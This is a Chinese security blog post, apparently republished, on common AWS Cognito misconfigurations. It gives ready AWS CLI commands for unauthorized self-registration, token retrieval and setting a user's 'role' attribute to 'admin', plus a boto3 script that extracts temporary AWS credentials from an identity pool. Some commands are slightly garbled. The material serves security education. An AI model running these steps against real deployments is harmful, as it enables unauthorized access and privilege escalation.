扫码领资料
获网安教程
来Track安全社区投稿~
千元稿费!还有保底奖励~(https://bbs.zkaq.cn)
引言
AWS Cognito 是由亚马逊网络服务(AWS)提供的全托管服务,旨在简化 Web 和移动应用程序的用户认证和授权过程。它提供了一整套功能来处理用户注册、登录和用户管理,免去了开发人员从头构建这些功能的需求。
尽管本文讨论的攻击和配置错误已经有大量文献记载,并且得到了各种资源的关注,但重申它们的重要性仍然至关重要,以强调在 AWS Cognito 部署中确保安全配置和持续监控的重要性。
AWS Cognito 组件
AWS Cognito 提供了两个主要组件:用户池和身份池。
常见的 User Pools 攻击
检测 Cognito User Pools 的使用:
攻击示例
aws cognito-idp sign-up
命令并提供适当的参数(例如虚假的电子邮件地址和选择的密码),攻击者可以启动注册过程,而无需按照预期的步骤进行。aws cognito-idp sign-up --client-id '[ClientId]' --username '[email protected]' --password 's3cr4tP@ss' --user-attributes '[{"Name":"email","Value":"[email protected]"}]'
aws cognito-idp confirm-sign-up
命令来完成,该命令需要客户端 ID 和在注册过程中使用的用户名/电子邮件,以及确认代码。aws cognito-idp confirm-sign-up — client-id '[ClientId]' — username '[email protected]' — confirmation-code '013370'
aws cognito-idp initiate-auth
命令,并提供适当的区域、客户端 ID 和认证参数(用户名和密码),攻击者可以从响应中获取 JWT 令牌。aws cognito-idp initiate-auth --region YOUR_REGION --client-id YOUR_CLIENT_ID --auth-flow USER_PASSWORD_AUTH --auth-parameters USERNAME=YOUR_USERNAME,PASSWORD=YOUR_PASSWORD
aws cognito-idp update-user-attributes
命令,攻击者可以直接修改诸如电子邮件或应用角色等属性,从而可能赋予自己更高的权限或更改账户信息。aws cognito-idp get-user --access-token [AccessToken]
aws cognito-idp update-user-attributes --access-token 'TOKEN' --user-attributes '[{"Name":"email","Value":"[email protected]"}, {"Name":"role","Value":"admin"}]' --region=us-east-2
常见的 Identity Pools 攻击
检测 Cognito Identity Pools 的使用:
aws cognito-identity get-id --identity-pool-id <identity-pool-id>
aws cognito-identity get-credentials-for-identity --identity-id <identity-id-from-previous-command>
import boto3
region='us-east-1'
identity_pool='us-east-1:XXXXXXXXXXXXXXXXXXXXXXXXXX'
client = boto3.client('cognito-identity',region_name=region)
_id = client.get_id(IdentityPoolId=identity_pool)
_id = _id['IdentityId']
credentials = client.get_credentials_for_identity(IdentityId=_id)
access_key = credentials['Credentials']['AccessKeyId']
secret_key = credentials['Credentials']['SecretKey']
session_token = credentials['Credentials']['SessionToken']
identity_id = credentials['IdentityId']
print("Access Key: " + access_key)
print("Secret Key: " + secret_key)
print("Session Token: " + session_token)
print("Identity Id: " + identity_id)
攻击示例
References
[1]
[email protected]: mailto:[email protected][2]
[email protected]: mailto:[email protected]声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。
原文始发于微信公众号(白帽子左一):云上攻防 | AWS中的常见 Cognito 配置错误
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论